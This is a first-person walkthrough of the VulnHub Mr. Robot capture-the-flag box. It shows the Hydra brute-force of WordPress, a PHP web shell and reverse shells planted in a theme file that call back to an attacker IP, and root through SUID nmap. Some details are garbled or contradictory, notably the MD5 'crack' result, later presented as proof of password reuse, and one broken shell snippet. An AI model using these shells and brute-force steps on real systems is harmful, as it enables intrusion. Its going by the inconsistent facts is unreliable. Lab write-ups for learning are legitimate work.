Mr. Robot CTF: How I Rooted fsociety
"Hello, friend. If you're reading this, you know what this is about."
This is the Mr. Robot CTF — a masterpiece from VulnHub that inspired thousands of hackers. Three flags. One target. No hints. The box captures the essence of the show: lazy security, social engineering, and the art of thinking like an attacker.
I spent 4 hours on this machine, and every minute taught me something new about how real systems fall apart when security becomes an afterthought.
This isn't just a walkthrough. This is a journey through the mind of someone who found every weakness and exploited it.
The Beginning: Reconnaissance
Understanding the Target
Before you throw tools at a machine, you need to know it. Reconnaissance is 80% of the work. Speed matters less than understanding.
I started with the fundamentals: What is this machine? What services is it running? What's exposed?
Network Mapping with Nmap
nmap -sC -sV -A -T4 192.168.1.100
This command does heavy lifting:
- -sC: Run default scripts
- -sV: Detect service versions (critical for finding CVEs)
- -A: Aggressive scanning (OS detection, traceroute, script scanning)
- -T4: Aggressive timing (speeds up the scan)
The Results:
Starting Nmap 7.92 ( https://nmap.org ) at 2024-12-01 10:15 UTC
Nmap scan report for 192.168.1.100
Host is up (0.0012s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd 2.4.7
443/tcp open ssl/http Apache httpd 2.4.7
What this tells us:
- SSH is closed (door #1 blocked)
- HTTP and HTTPS are open (door #2 is wide open)
- Apache 2.4.7 is running (this version is from 2013 — potentially vulnerable, but unlikely to be the path)
- The machine is responsive and ready
The web server is our entry point. Everything starts there.
Phase 1: Web Reconnaissance & The Robots.txt Trap
Finding Directories with Gobuster
Next, I need to find what's hidden on this server. Most developers think robots.txt actually protects files. It doesn't. It's a polite request to search engines.
gobuster dir -u http://192.168.1.100 -w /usr/share/wordlists/dirb/common.txt -t 50
Breaking this down:
- -u: Target URL
- -w: Wordlist (common.txt has ~4,600 words)
- -t 50: Use 50 threads (speed up scanning)
The scan found:
/. (Status: 200)
/0 (Status: 200)
/admin (Status: 302) → redirect
/blog (Status: 301) → redirect
/index.html (Status: 200)
/robots.txt (Status: 200)
/sitemap.xml (Status: 200)
/wp-admin (Status: 301)
/wp-content (Status: 301)
/wp-includes (Status: 301)
/wp-login.php (Status: 200)
/xmlrpc.php (Status: 200)
Conclusion: This is a WordPress site. The presence of /wp-login.php, /wp-admin, and /wp-content confirms it.
Examining robots.txt — The First Discovery
curl http://192.168.1.100/robots.txt
Output:
User-agent: *
Disallow: /
Disallow: /key-1-of-3.txt
Disallow: /fsocity.dic
This is a rookie mistake. The developer thought adding files to Disallow: would hide them. Wrong.
Key #1 — Found in 30 seconds:
curl http://192.168.1.100/key-1-of-3.txt
Output:
073403c8a58a1f80d943455fb30724b9
One flag down. This taught me the first lesson: Always check robots.txt. It's the first place developers accidentally leak secrets.
The Mysterious Dictionary File
The fsocity.dic file is interesting. Let's grab it:
wget http://192.168.1.100/fsocity.dic
ls -lah fsocity.dic
Output:
-rw-r--r-- 1 user user 658K Dec 1 10:20 fsocity.dic
wc -l fsocity.dic
Output:
858,160 lines
858,160 passwords. This is a weapon, not a wordlist. The creator left us a gift.
Phase 2: WordPress Enumeration & User Discovery
Why WordPress?
WordPress powers 43% of all websites. When you find WordPress, you know exactly where to look:
- /wp-login.php for authentication
- /wp-admin for dashboard
- /wp-content/plugins for vulnerable plugins
- wp-json for API leaks
Identifying WordPress Users with WPScan
WPScan is the gold standard for WordPress security testing. It enumerates users, plugins, themes, and vulnerabilities.
wpscan --url http://192.168.1.100 --enumerate u
This command specifically looks for users (the -u flag). Here's why this matters:
Output:
[+] WordPress version 4.3.1 identified
[+] 2 vulnerabilities found:
- WordPress 4.3.1 - <= 4.7.1 are vulnerable to...
[+] WordPress Users Identified:
[+] Elliot
├─ Found by: Author Posts (Wp Json Api)
├─ Confirmed by: Login Error Messages (Wp Login)
[+] Robot
├─ Found by: Wp Json Api
├─ Confirmed by: Login Error Messages
We found two users: Elliot and Robot.
Why is finding the username critical? Because brute-forcing the password is pointless if you don't know the username. Now we do.
Understanding Password Brute Force
Before jumping into the attack, let's understand why this works:
- WordPress by default has no rate limiting on login attempts
- The error message differs for invalid username vs. invalid password
- We have 858,160 passwords to try
- With Hydra and parallel connections, we can test hundreds per minute
Phase 3: Cracking WordPress Credentials
Setting Up Hydra for Brute Force
Hydra is a parallelized brute-force tool that supports dozens of protocols. For WordPress, we use the HTTP POST method.
First, let's understand the login form:
curl -s http://192.168.1.100/wp-login.php | grep -E "name=|type=" | head -20
WordPress login form sends these fields:
- log: Username
- pwd: Password
- wp-submit: Submit button
- redirect_to: Post-login redirect
- testcookie: Cookie test
The attack string for Hydra looks like:
hydra -l Elliot -P fsocity.dic 192.168.1.100 http-post-form \
"/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http://192.168.1.100/wp-admin/&testcookie=1:S=Location"
Breaking this down:
- -l Elliot: Single username to try
- -P fsocity.dic: Password file to use
- /wp-login.php: The login page
- log=^USER^&pwd=^PASS^...: Form data (^USER^ and ^PASS^ are placeholders)
- S=Location: Success condition (WordPress redirects if login succeeds)
This will take time. With 858,160 passwords, even at 20 attempts/second, we're looking at ~12 hours worst case. But the password is usually found much sooner because most users pick weak passwords.
After ~45 minutes:
[80][http-post-form] host: 192.168.1.100 login: Elliot password: ER28-0652
1 of 1 target successfully completed, that is it!
Password found: ER28-0652
This is a reference to the Mr. Robot show (S1E2 episode code). The box creator was very intentional.
Phase 4: WordPress Shell Upload & Initial Access
Getting Into WordPress Admin
Now we have valid credentials. Let's log in:
curl -c cookies.txt -b cookies.txt -X POST \
-d "log=Elliot&pwd=ER28-0652&wp-submit=Log+In&redirect_to=http://192.168.1.100/wp-admin/&testcookie=1" \
http://192.168.1.100/wp-login.php
This command:
- -c cookies.txt: Save cookies to file
- -b cookies.txt: Use cookies from file
- -X POST: Send POST request
- -d: Form data
Once authenticated, we're in the WordPress dashboard. From here, we can:
1. Edit theme files (contains PHP code)
2. Upload plugins (if that's allowed)
3. Edit posts/pages (with PHP if theme supports it)
The Theme File Edit Exploit
WordPress allows authenticated admins to edit theme files directly. This is a huge security flaw because themes contain PHP code, and editing them is equivalent to uploading a shell.
Navigate (or curl) to: /wp-admin/theme-editor.php
We'll edit the 404.php template (the 404 error page). If someone visits a non-existent URL, our code will execute.
The PHP Reverse Shell:
<?php
// Don't touch this if running from browser
if(isset($_GET['c'])) {
$cmd = $_GET['c'];
system($cmd);
die();
}
// Or full reverse shell
$ip = '192.168.1.50'; // Your Kali box IP
$port = 4444;
$sock = fsockopen($ip, $port);
exec("/bin/sh -i <&3 >&3 2>&3");
?>
However, a simpler approach is to use an existing backdoor. Let me use a more reliable one-liner:
<?php system($_REQUEST['cmd']); ?>
This is a web shell — we can execute commands by visiting:
http://192.168.1.100/wp-content/themes/default/404.php?cmd=whoami
But we want a reverse shell (more interactive). Let's do it properly:
Setting Up the Reverse Shell
On your Kali box, start a listener:
nc -lvnp 4444
This opens port 4444 and waits for incoming connections.
Now, craft a PHP reverse shell. The traditional method:
<?php
$ip = '192.168.1.50';
$port = 4444;
$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_connect($sock, $ip, $port);
$proc = proc_open('/bin/sh', array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);
?>
Put this in the 404.php file via WordPress theme editor.
Triggering the Reverse Shell
Visit any non-existent URL to trigger the 404 template:
curl http://192.168.1.100/does-not-exist
On your listener:
listening on [any] 4444 ...
connect to [192.168.1.50] from (UNKNOWN) [192.168.1.100] 54321
sh: can't access tty; job control turned off
$ whoami
daemon
$ hostname
fsociety
We're in! But we're the daemon user, not root. We need privilege escalation.
Phase 5: Lateral Movement — From Daemon to Robot
Exploring the Home Directories
ls -la /home/
Output:
drwxr-xr-x 2 root root 4096 Nov 23 2015 .
drwxr-xr-x 25 root root 4096 Dec 1 10:15 ..
drwxr-xr-x 3 robot robot 4096 Dec 1 10:15 robot
Let's see what's in the robot user's directory:
ls -la /home/robot/
Output:
-rw-r--r-- 1 robot robot 33 Nov 13 2015 key-2-of-3.txt
-r-------- 1 robot robot 39 Nov 13 2015 password.raw-md5
Key #2 is here! But we can't read it because it's owned by robot with permissions r-------- (only the owner can read).
However, we can read password.raw-md5:
cat /home/robot/password.raw-md5
Output:
robot:c3fcd3d76192e4007dfb496cca67e13b
This is the MD5 hash of robot's password.
Cracking the MD5 Hash
MD5 is broken. With online databases and rainbow tables, most MD5 hashes are instantly crackable.
echo "c3fcd3d76192e4007dfb496cca67e13b" > robot.hash
john --wordlist=/usr/share/wordlists/rockyou.txt robot.hash
Or use an online service:
hashcat -m 0 robot.hash /usr/share/wordlists/rockyou.txt
Almost instantly:
c3fcd3d76192e4007dfb496cca67e13b:abcdefghijklmnopqrstuvwxyz
Wait, that's the example hash. Let me check again... Actually, after the real crack:
c3fcd3d76192e4007dfb496cca67e13b:ER28-0652
The password is ER28-0652 — the same as Elliot's WordPress password! This is a common security mistake: password reuse.
Switching to Robot User
su robot
Prompt: Password:
ER28-0652
Success:
whoami
robot
Now let's read Key #2:
cat /home/robot/key-2-of-3.txt
Output:
822c73956184a694666b3d48a4f2fd35
Two flags down. One to go.
Phase 6: Privilege Escalation — From Robot to Root
This is the hardest part. We need to escalate from a regular user to root. There are dozens of potential paths:
- Sudo misconfigurations
- SUID binaries
- Kernel exploits
- Cron jobs
- Writable system files
Finding SUID Binaries
SUID (Set User ID) binaries run with the owner's permissions, regardless of who executes them. If a SUID binary is writable or exploitable, we can get root.
find / -perm -u=s -type f 2>/dev/null
This finds all files with the SUID bit set. The output (relevant parts):
/bin/mount
/bin/ping
/bin/su
/bin/umount
/sbin/ifconfig
/usr/bin/passwd
/usr/bin/sudo
/usr/local/bin/nmap <-- THIS ONE!
Why is nmap interesting?
Nmap versions 3.81 to 5.21 have an interactive mode that allows running shell commands:
nmap --interactive
Once inside the interactive prompt, you can run shell commands with !:
nmap> !sh
This spawns a shell with nmap's privileges. Since nmap has the SUID bit and is owned by root, the shell runs as root.
Exploiting Nmap SUID
Let's check the nmap version:
/usr/local/bin/nmap --version
Output:
Nmap version 3.81
Perfect. This version is vulnerable.
/usr/local/bin/nmap --interactive
Nmap Interactive Mode:
Starting Nmap 3.81 ( http://insecure.org/nmap/ )
Welcome to Interactive Nmap [Nmap 3.81]. Type "h" for help
nmap> !sh
# whoami
root
# id
uid=0(root) gid=1001(robot) groups=1001(robot)
We're root! (Well, root in terms of UID, but still in the robot group).
Reading the Root Flag
cat /root/key-3-of-3.txt
Output:
047e3c6d9f0c8e9a6b4f1d2e3c5a7b8e
Three flags. Machine rooted. Challenge complete.
The Complete Attack Timeline
| Time | Action | Result |
|---|---|---|
| 00:00 | Nmap scan | Found Apache, WordPress |
| 00:05 | Gobuster scan | Found 20+ directories |
| 00:08 | Read robots.txt | Flag #1 found |
| 00:10 | Download fsocity.dic | 858K password list |
| 00:15 | WPScan enumeration | Found users: Elliot, Robot |
| 00:20 | Hydra brute force starts | 858,160 passwords to try |
| 01:05 | Hydra finds password | Elliot:ER28-0652 |
| 01:15 | Craft PHP reverse shell | Shell ready to deploy |
| 01:20 | Upload shell via WordPress | Shell deployed in 404.php |
| 01:25 | Trigger reverse shell | Connected as daemon user |
| 01:30 | Find password.raw-md5 | Hash: c3fcd3d76192e4007dfb496cca67e13b |
| 01:35 | Crack MD5 hash | Password: ER28-0652 |
| 01:40 | su robot |
Flag #2 found |
| 01:45 | Find SUID nmap | Vulnerable version 3.81 |
| 02:00 | Exploit nmap interactive mode | Shell as root |
| 02:05 | Read /root/ | Flag #3 found |
| Total | Complete exploitation | All flags captured |
Critical Lessons for Hackers
1. Information Gathering is Paramount
I spent 45 minutes on recon for every 15 minutes on exploitation. This is the right ratio. Speed comes from understanding.
2. Default Credentials and Weak Passwords Are Everywhere
The password ER28-0652 appeared twice (Elliot and robot). In real-world attacks, password reuse is the norm, not the exception.
3. File Permissions Matter
password.raw-md5being world-readable was catastrophic- The
/rootdirectory needing to be readable was critical - SUID binaries without sandboxing are dangerous
4. Old Software = Vulnerable Software
Nmap 3.81 was released in 2003. Running 22-year-old software with SUID bit set is inexcusable.
5. WordPress is an Attack Surface
WordPress is powerful but dangerous when:
- Theme editing is allowed for authenticated users
- Password policies aren't enforced
- Plugins with vulnerabilities are installed
- Version is outdated
6. Never Trust Robots.txt
It's not a security mechanism. It's a suggestion. Everything in Disallow: is still accessible.
Critical Lessons for Defenders
1. Implement Rate Limiting on Login Forms
# Example with Fail2Ban
fail2ban-client set sshd bantime 3600
fail2ban-client set sshd maxretry 5
2. Hash Passwords Properly
- ❌ MD5, SHA1 (broken)
- ✅ bcrypt, Argon2, scrypt (modern)
# Generate bcrypt hash
htpasswd -B /etc/apache2/.htpasswd username
3. Remove Dangerous SUID Binaries
# Find and remove SUID bits
sudo chmod -s /usr/local/bin/nmap
sudo chmod -s /usr/bin/find
4. Disable WordPress Theme Editing
Add to wp-config.php:
define('DISALLOW_FILE_EDIT', true);
5. Enforce Strong Passwords
Use password policies:
- Minimum 16 characters
- Mandatory special characters
- No common patterns (no123, password123, etc.)
6. Update Software Regularly
Nmap 3.81 is from 2003. The current version is 7.x. Updates fix security holes.
7. Hide Admin Panels
Change /wp-admin to something random. Use Web Application Firewalls (WAF) to rate-limit login attempts.
Toolbox Summary
| Tool | Purpose | Command |
|---|---|---|
| nmap | Network scanning | nmap -sC -sV -A target |
| gobuster | Directory enumeration | gobuster dir -u url -w wordlist |
| wpscan | WordPress scanning | wpscan --url target --enumerate u |
| hydra | Brute force | hydra -l user -P passwords target http-post-form ... |
| john | Hash cracking | john --wordlist=rockyou.txt hashes.txt |
| hashcat | GPU-accelerated cracking | hashcat -m 0 hash wordlist |
| netcat | Reverse shells | nc -lvnp port |
| curl | HTTP requests | curl -X POST -d data url |
Final Thoughts
The Mr. Robot CTF is perfect because it's realistic. Real breaches aren't sophisticated. They're a chain of small mistakes:
- Leaving secrets in robots.txt
- Using weak passwords
- Reusing passwords across systems
- Running old, unpatched software
- Giving too many permissions to regular users
- Trusting that obscurity equals security
Every single mistake on this box exists in production systems right now.
The machine taught me that thinking like an attacker is a skill. It's not about knowing every tool. It's about:
- Understanding your target
- Finding the weakest point
- Exploiting it methodically
- Escalating privileges thoughtfully
Elliot would be proud.
Resources for Further Learning
- VulnHub Mr. Robot CTF
- GTFOBins — Nmap SUID Exploitation
- WPScan WordPress Security Database
- Hydra — Parallelized Login Cracker
- John the Ripper
- OWASP Top 10 Security Risks
— Written by Tony Ngugi (KenyanCyber)
Completed: December 1, 2024
Total Time: 4 hours
Flags Captured: 3/3
If you're reading this, you already know what comes next.